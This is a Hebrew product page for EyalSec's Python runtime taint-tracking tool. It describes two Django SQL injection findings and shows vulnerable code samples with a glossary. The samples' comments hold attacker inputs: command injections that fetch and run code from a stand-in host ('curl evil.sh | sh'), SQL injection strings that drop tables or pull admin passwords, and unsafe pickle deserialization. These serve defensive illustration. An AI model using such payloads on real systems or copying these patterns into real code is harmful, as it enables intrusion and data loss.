ה-Python שלכם, מאובטח.

שני מצבים: לדווח, או לעצור ולדווח

EyalSec חשף את הזרימות שמאחורי שתי חולשות CVE חמורות ב-Django

EyalSec חשף את זרימות המידע שמאחורי שתי חולשות SQL injection ב-Django שלא דורשות הזדהות. Django הוא אחד ה-frameworks הנפוצים ביותר לאפליקציות web ב-Python. זיהינו את החולשות, שחזרנו אותן ידנית ודיווחנו עליהן לצוות האבטחה של Django, שתיקן אותן, ותודה לו. ההודעות הרשמיות מייחסות את הגילוי ל-Eyal Gabay מ-EyalSec. שתיהן ישבו ב-framework ולא בקוד האפליקציה: אותה בדיקה מכסה גם את התלויות שלכם.

נכנס כ-taint, נתפס ב-sink

כל sink הוא סוג של מתקפה: SQL injection, command injection, code injection, insecure deserialization, path traversal ו-SSRF. מדריך המשתמש (באנגלית) מסביר sources, sinks ואירועים במילים פשוטות.

שני צעדים קטנים: בלי לשכתב, בלי lock-in

ה-python הקיים שלכם נשאר במקום. מריצים es-python כשרוצים את רשת הביטחון. מדריך ההתחלה המהירה עובר על שני הצעדים, והתמחור הוא לפי מכונה ולפי זיהוי.

1. 1אחרי הדמו מוסיפים מכונה, והדשבורד נותן לכם את הפקודה הזו:

   $ curl -sSL -d "secret=YOUR_TOKEN" https://eyalsec.com/install.sh | bash

2. 2מריצים את הקוד, עם הבדיקות פועלות:

   $ es-python app.py

איפה EyalSec מוסיף לכלים שכבר יש לכם

כל דוגמה היא קוד פגיע שהכלי הנקוב לא מוצא. EyalSec מוצא אותו.

# the sandbox must permit execve for the legit dump...
subprocess.run(["/usr/bin/pg_dump", "mydb"])       # legitimate, must be allowed
name = sock.recv(4096).decode()   # socket -> tainted
subprocess.run("tar czf /tmp/" + name + ".tgz /data", shell=True)   # SINK

# RASP inspects the request, but not what the app does to it next.
msg = sock.recv(4096).decode()      # request body -> tainted
arg = " ".join(msg.split()[1:])      # split, slice, rejoin -> still tainted
# attacker sends:  ping x; curl evil.sh | sh
os.system("traceroute " + arg)      # SINK -> es-python raises

# a CSV dropped by an SFTP partner feed never crosses the edge.
row = open("/inbox/orders.csv").readline()   # file bytes -> tainted; the WAF never saw them
# attacker planted a row:  '; DROP TABLE users; --
db.execute("SELECT * FROM t WHERE id='" + row + "'")   # SINK -> es-python raises

# the sink is chosen by a runtime key, so static dataflow loses it.
ACTIONS = {"copy": shutil.copy, "run": os.system, "stat": os.stat}
name, arg = sock.recv(4096).decode().split(":", 1)   # socket -> tainted
# attacker sends:  run:reboot; curl evil | sh
ACTIONS[name](arg)         # callable resolved at runtime -> SINK -> es-python raises

# a successful SQL injection that never crashes.
expr = sock.recv(4096).decode()   # socket -> tainted
# expr = 1=1 UNION SELECT password FROM admins
db.execute("SELECT * FROM logs WHERE " + expr)   # returns rows, exits 0 -> SINK

# your own code, no third-party advisory describes this.
cookie = sock.recv(4096)   # cookie arrives over the wire -> tainted
pickle.loads(cookie)   # SINK -> es-python raises

# es-python raises BEFORE any payload executes.
blob = sock.recv(65536)    # socket -> tainted
pickle.loads(blob)  # SINK -> raises before the gadget detonates

אותה התנהגות, עם חגורת בטיחות

• אותה סמנטיקה של Python: לא sandbox, ולא שכתוב של השפה שלכם.
• הקוד שלכם רץ בדיוק כפי שנכתב, בלי שינויים ובלי lock-in.
• Python 3.9, 3.10, 3.11, 3.12, 3.13, 3.14 על Linux, x86_64 ו-aarch64. אפשר להתקין כמה גרסאות זו לצד זו על אותה מכונה.
• כברירת מחדל קוד המקור שלכם נשאר על המכונה: אירועים כוללים את ה-sink, את ה-trace ואת המידע שהפעיל אותם, וקטעי קוד מקור קצרים נשלחים רק אם מפעילים אותם.

מה כל אירוע כולל, ואיך הדשבורד מגן עליו, מפורט בעמוד האבטחה.

מונחים שתראו בדשבורד

מעקב taintTaint tracking

מעקב taint הוא טכניקה בזמן ריצה שמסמנת מידע שהגיע ממקורות לא אמינים ועוקבת אחרי הסימון דרך כל העתקה, חיבור ושינוי, כך שהתוכנית יודעת מתי מידע בשליטת תוקף מגיע לפעולה מסוכנת.

מידע לא אמיןUntrusted data

מידע לא אמין, שנקרא גם tainted data או taint, הוא כל מידע שהתוכנית קיבלה מבחוץ, כמו בקשת רשת, קובץ או משתנה סביבה, שמישהו אחר יכול היה לבחור את התוכן שלו.

מקורSource

מקור הוא המקום שבו מידע לא אמין נכנס לתוכנית, כמו socket ברשת, קובץ, קלט סטנדרטי, משתנה סביבה או ארגומנט בשורת הפקודה, או קוד שמשתמש אחר יכול לשנות.

פעולה מסוכנתSink

sink הוא פעולה מסוכנת שבה מידע לא אמין יכול לגרום נזק, כמו הרצת פקודת shell, שליחת שאילתה למסד נתונים, הרצת קוד, deserialization של בייטים, פתיחת נתיב קובץ או גישה ל-URL.

אירועEvent

אירוע הוא הרישום של EyalSec שמידע לא אמין הגיע ל-sink, עם הפעולה, שורת הקוד, הערך ומאיפה המידע הגיע.

es-python

es-python הוא סביבת הריצה של EyalSec ל-Python: מריצים את תוכניות ה-Python שלכם עם es-python במקום python, והוא מתנהג כמו Python באותה גרסה, ובמקביל מדווח כשמידע לא אמין מגיע ל-sink.

מצב דיווחReport mode

מצב דיווח רושם כל זרימה של מידע לא אמין אל sink כאירוע בדשבורד של EyalSec, ומשאיר את התוכנית לרוץ בדיוק כמו קודם.

מצב דיווח ועצירהReport and Raise mode

מצב דיווח ועצירה רושם את האירוע וגם עוצר את הפעולה: הוא זורק RuntimeError של Python באותה נקודה, במקום להריץ את השאילתה, את הפקודה או את הגישה לקובץ.

השאלות שלכם